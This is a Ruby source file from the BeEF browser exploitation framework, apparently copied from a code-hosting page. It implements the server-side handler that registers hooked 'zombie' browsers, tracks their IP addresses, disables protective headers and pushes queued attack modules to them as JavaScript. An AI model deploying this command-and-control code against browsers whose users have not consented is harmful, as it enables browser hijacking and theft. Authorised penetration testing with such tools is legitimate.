107 lines
4.6 KiB
Ruby
107 lines
4.6 KiB
Ruby
#
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# Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
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# Browser Exploitation Framework (BeEF) - http://beefproject.com
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# See the file 'doc/COPYING' for copying permission
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#
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module BeEF
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module Core
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module Handlers
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# @note This class handles connections from hooked browsers to the framework.
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class HookedBrowsers < BeEF::Core::Router::Router
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include BeEF::Core::Handlers::Modules::BeEFJS
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include BeEF::Core::Handlers::Modules::Command
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#antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
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configure do
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disable :protection
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end
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# Process HTTP requests sent by a hooked browser to the framework.
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# It will update the database to add or update the current hooked browser
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# and deploy some command modules or extensions to the hooked browser.
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get '/' do
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@body = ''
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@params = request.query_string
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#@response = Rack::Response.new(body=[], 200, header={})
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config = BeEF::Core::Configuration.instance
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# @note check source ip address of browser
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permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
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target_network = IPAddr.new(permitted_hooking_subnet)
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if not target_network.include?(request.ip)
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BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.ip}) rejected.")
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error 500
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end
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# @note get zombie if already hooked the framework
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hook_session_name = config.get('beef.http.hook_session_name')
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hook_session_id = request[hook_session_name]
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hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil?
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# @note is a new browser so return instructions to set up the hook
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if not hooked_browser
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# @note generate the instructions to hook the browser
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host_name = request.host
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(print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name)
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build_beefjs!(host_name)
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# @note is a known browser so send instructions
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else
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# @note Check if we haven't seen this browser for a while, log an event if we haven't
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if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
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BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}")
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end
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# @note record the last poll from the browser
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hooked_browser.lastseen = Time.new.to_i
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# @note Check for a change in zombie IP and log an event
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if config.get('beef.http.use_x_forward_for') == true
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if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"]
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BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}")
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hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"]
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end
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else
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if hooked_browser.ip != request.ip
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BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
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hooked_browser.ip = request.ip
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end
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end
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hooked_browser.count!
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hooked_browser.save
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# @note add all available command module instructions to the response
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zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
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zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
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# @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
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are_executions = BeEF::Core::AutorunEngine::Models::Execution.all(:is_sent => false, :session => hook_session_id)
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are_executions.each do |are_exec|
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@body += are_exec.mod_body
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are_exec.update(:is_sent => true, :exec_time => Time.new.to_i)
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end
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# @note We dynamically get the list of all browser hook handler using the API and register them
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BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response)
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end
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# @note set response headers and body
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headers 'Pragma' => 'no-cache',
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'Cache-Control' => 'no-cache',
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'Expires' => '0',
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'Content-Type' => 'text/javascript',
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'Access-Control-Allow-Origin' => '*',
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'Access-Control-Allow-Methods' => 'POST, GET'
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@body
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end
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end
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end
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end
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end
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